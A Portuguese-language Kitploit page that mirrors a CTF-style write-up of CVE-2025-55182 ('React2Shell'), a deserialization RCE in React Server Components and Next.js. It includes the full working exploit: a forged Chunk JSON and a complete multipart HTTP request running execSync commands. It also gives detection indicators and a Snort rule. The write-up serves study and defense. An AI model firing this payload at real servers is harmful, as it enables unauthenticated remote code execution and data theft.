Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: desserialização insegura não autenticada em React Server Components que leva à execução remota de código confiável por meio do protocolo Flight. | Kitploit
Ferramentas/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: desserialização insegura não autenticada em React Server Components que leva à execução remota de código confiável por meio do protocolo Flight.

Ver Repositório
713há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🎯 React2Shell (CVE-2025-55182): De Componentes de Servidor React a RCE Completo

Dificuldade: Intermediário → Avançado
Categoria: Exploração Web | Desserialização | RCE

Cover


🧩 Tarefa 1: Introdução — Por que React2Shell é um Grande Problema

CVE-2025-55182, apelidado de React2Shell, é uma daquelas vulnerabilidades que instantaneamente deixa os defensores nervosos 😬. Descoberta em dezembro de 2025, carrega uma pontuação CVSS de 10.0, o que já te diz que não é um bug de caso extremo.

Em seu núcleo, essa vulnerabilidade afeta React Server Components (RSC) e frameworks construídos sobre eles — notavelmente Next.js. A parte assustadora?

👉 Execução Remota de Código (RCE) não autenticada 👉 Única requisição HTTP manipulada 👉 Configurações padrão são vulneráveis

Sem login. Sem permissões especiais. Apenas uma requisição bem formada.

🔥 Pacotes React Afetados

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack
  • ✅ Versões Corrigidas

    • 19.0.1
    • 19.1.2
    • 19.2.1

    Esta sala nos guia por por que esse bug existe, como é explorado e o que os defensores podem fazer sobre isso.

    Flag: Nenhuma resposta necessária.


    🧠 Tarefa 2: Componentes de Servidor React e o Protocolo Flight

    Antes da exploração, precisamos de clareza na arquitetura.

    O que são React Server Components?

    React Server Components (introduzidos no React 19) permitem que partes de um aplicativo React sejam executadas no servidor, não no navegador. Isso significa:

    • Computação pesada fica no lado do servidor ⚙️
    • Cliente recebe apenas a saída renderizada 📦
    • Melhor desempenho, bundles menores

    Entra: React Flight ✈️

    A comunicação entre cliente e servidor acontece através do protocolo React Flight. Este protocolo serializa dados no cliente e os desserializa no servidor.

    Ele usa marcadores especiais:

    • $@ → Referência de chunk

    • $B → Referência de Blob

    • Caminhos de propriedades via notação de dois pontos Exemplo:

      root@kitploit:~
      $1:constructor:constructor
      

    ⚠️ E essa lógica de serialização é exatamente onde as coisas dão errado.

    Questão: Qual símbolo denota uma referência Blob? ✅ Resposta: $B


    💣 Tarefa 3: A Vulnerabilidade Central — Desserialização Insegura

    No coração do CVE-2025-55182 está uma falha clássica de desserialização insegura.

    Vamos olhar o padrão vulnerável (não corte 👇):

    root@kitploit:~
    function requireModule(metadata) {  
     var moduleExports = __webpack_require__(metadata[0]);  
     // ... lógica adicional ...  
     return moduleExports[metadata[2]];  // LINHA VULNERÁVEL  
    }  
    

    Por que isso é perigoso?

    Em JavaScript, a notação de colchetes:

    root@kitploit:~
    obj[someKey]
    

    não limita o acesso apenas a propriedades exportadas. Ela percorre toda a cadeia de protótipos.

    Agora vem a percepção crítica 👀:

    • Toda função JavaScript tem um .constructor
    • constructor aponta para o construtor Function
    • Function("código") = execução arbitrária de JS

    Armando referências Flight

    Como o protocolo Flight permite caminhos separados por dois pontos, um atacante pode enviar:

    root@kitploit:~
    $1:constructor:constructor
    

    Que resolve para:

    1. Obter chunk do módulo
    2. Acessar .constructor
    3. Acessar .constructor novamente → Function

    Neste ponto, game over 🎮.

    Flag: Nenhuma resposta necessária.


    🧨 Tarefa 4: Cadeia de Exploração — Do Bug ao RCE

    Agora vamos detalhar o PoC do maple3142, passo a passo.

    🧩 Estágio 1: Objeto Chunk Falso

    O atacante envia uma requisição multipart contendo um objeto Chunk falso:

    root@kitploit:~
    {  
     "then": "$1:__proto__:then",  
     "status": "resolved_model",  
     "reason": -1,  
     "value": "{\\"then\\":\\"$B1337\\"}",  
     "_response": {  
       "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
       "_chunks": "$Q2",  
       "_formData": {  
         "get": "$1:constructor:constructor"  
       }  
     }  
    }
    

    Este objeto imita a estrutura interna de Chunk do React. Ao apontar then para Chunk.prototype.then, o React é enganado para aguardar lógica controlada pelo atacante.


    🧩 Estágio 2: Abuso do Manipulador de Blob

    O marcador $B1337 aciona o manipulador de desserialização Blob, que internamente executa:

    root@kitploit:~
    response._formData.get(response._prefix + id)
    

    Mas nós envenenamos:

    • _formData.get → Function
    • _prefix → JS malicioso

    Execução resultante:

    root@kitploit:~
    Function("process.mainModule.require('child_process').execSync('xcalc');1337")
    

    💥 Execução arbitrária de JavaScript alcançada.


    🧩 Estágio 3: Execução de Comando do SO

    O PoC executa:

    root@kitploit:~
    process.mainModule
      .require('child_process')
      .execSync('xcalc')
    

    Isso pode ser trivialmente substituído por:

    • Shells reversos
    • Exfiltração de segredos
    • Leituras de arquivos
    • Roubo de credenciais em nuvem ☠️

    Flag: Nenhuma resposta necessária.


    📦 Tarefa 5: Detalhamento Completo do PoC HTTP

    Aqui está a requisição de exploit completa (literal, não cortada):

    root@kitploit:~
    POST / HTTP/1.1  
    Host: localhost  
    Next-Action: x  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="1"
    
    "$@0"  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="2"
    
    []  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
    
    

    (…corpo multipart continua…)

    Pontos chave a notar 👇

    • O cabeçalho Next-Action aciona Server Actions
    • multipart/form-data é obrigatório
    • $@0 cria uma auto-referência
    • $B1337 aciona lógica Blob
    • constructor:constructor leva a Function

    Isso não é acidental — é uma cadeia precisamente projetada.


    🌍 Ecossistema Afetado

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

    • Next.js:

      • ≥14.3.0-canary.77
      • Todos 15.x
      • Início 16.x
    • Outros: React Router (RSC), Waku, Redwood SDK

    📊 Pesquisa da Wiz: 39% dos ambientes em nuvem expostos 🌐 Shodan: 571k+ servidores React, 444k+ Next.js

    Isso é… muito 😶


    🧪 Tarefa 6: Exploração no Laboratório

    Primeiro no Repeater, faça Nova Requisição HTTP e selecione Target.

    1

    Usando Burp Suite Repeater, enviamos o payload:

    root@kitploit:~
    execSync('id')
    

    2

    E depois:

    root@kitploit:~
    execSync('whoami')
    

    3

    ✅ Resultados

    • User: ubuntu

    • Flag:

      root@kitploit:~
      {React-19.2.0}
      

    Exploração limpa, confiável e repetível 💀


    🛡️ Tarefa 7: Detecção e Defesa

    Boas notícias para defensores 👮‍♂️ — a exploração deixa impressões digitais.

    🔎 Indicadores de Ataque

    • Cabeçalho Next-Action
    • multipart/form-data
    • "status":"resolved_model"
    • "then":"$1:__proto__:then"

    Estes nunca devem aparecer no tráfego normal de usuário.


    🚨 Regra Snort (v3)

    root@kitploit:~
    alert http any any -> $LAN_NETWORK any (
        msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
        flow:to_server,established;
        content:"Next-Action"; http_header; nocase;
        content:"multipart/form-data"; http_header; nocase;
        pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
        pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
        pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
        classtype:web-application-attack;
        sid:6655001;
        rev:1;
    )
    

    🧾 OSQuery — Encontrando Pacotes Vulneráveis

    root@kitploit:~
    {
      "queries": {
        "detect_rev2shell_react_server_components": {
          "query": "SELECT name, version, path FROM npm_packages WHERE ...",
          "interval": 3600
        }
      }
    }
    

    Perfeito para:

    • Pipelines CI/CD
    • Auditorias de endpoints
    • Verificações de pré-produção

    4


    🧠 Considerações Finais

    React2Shell é um exemplo clássico de:

    • Por que desserialização insegura é mortal
    • Como cadeias de protótipo podem te trair
    • Por que “configurações padrão” são perigosas

    Uma vez que versões corrigidas são instaladas e as recomendações do npm audit são seguidas, o exploit morre completamente ✅.

    ⚠️ Nunca teste isso fora de laboratórios autorizados.
    🔥 Sempre corrija rapidamente.
    🧠 Sempre entenda por que um bug existe — não apenas como explorá-lo.


    ⭐ Siga-me e Conecte-se

    Se você gostou deste write-up ou quer se manter conectado com meu trabalho em cibersegurança, CTFs e VAPT:

    🔗 GitHub: https://github.com/AdityaBhatt3010
    💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
    ✍️ Medium: https://medium.com/@adityabhatt3010

    Feliz hacking — com responsabilidade 🗿🚀


    Baixar ferramenta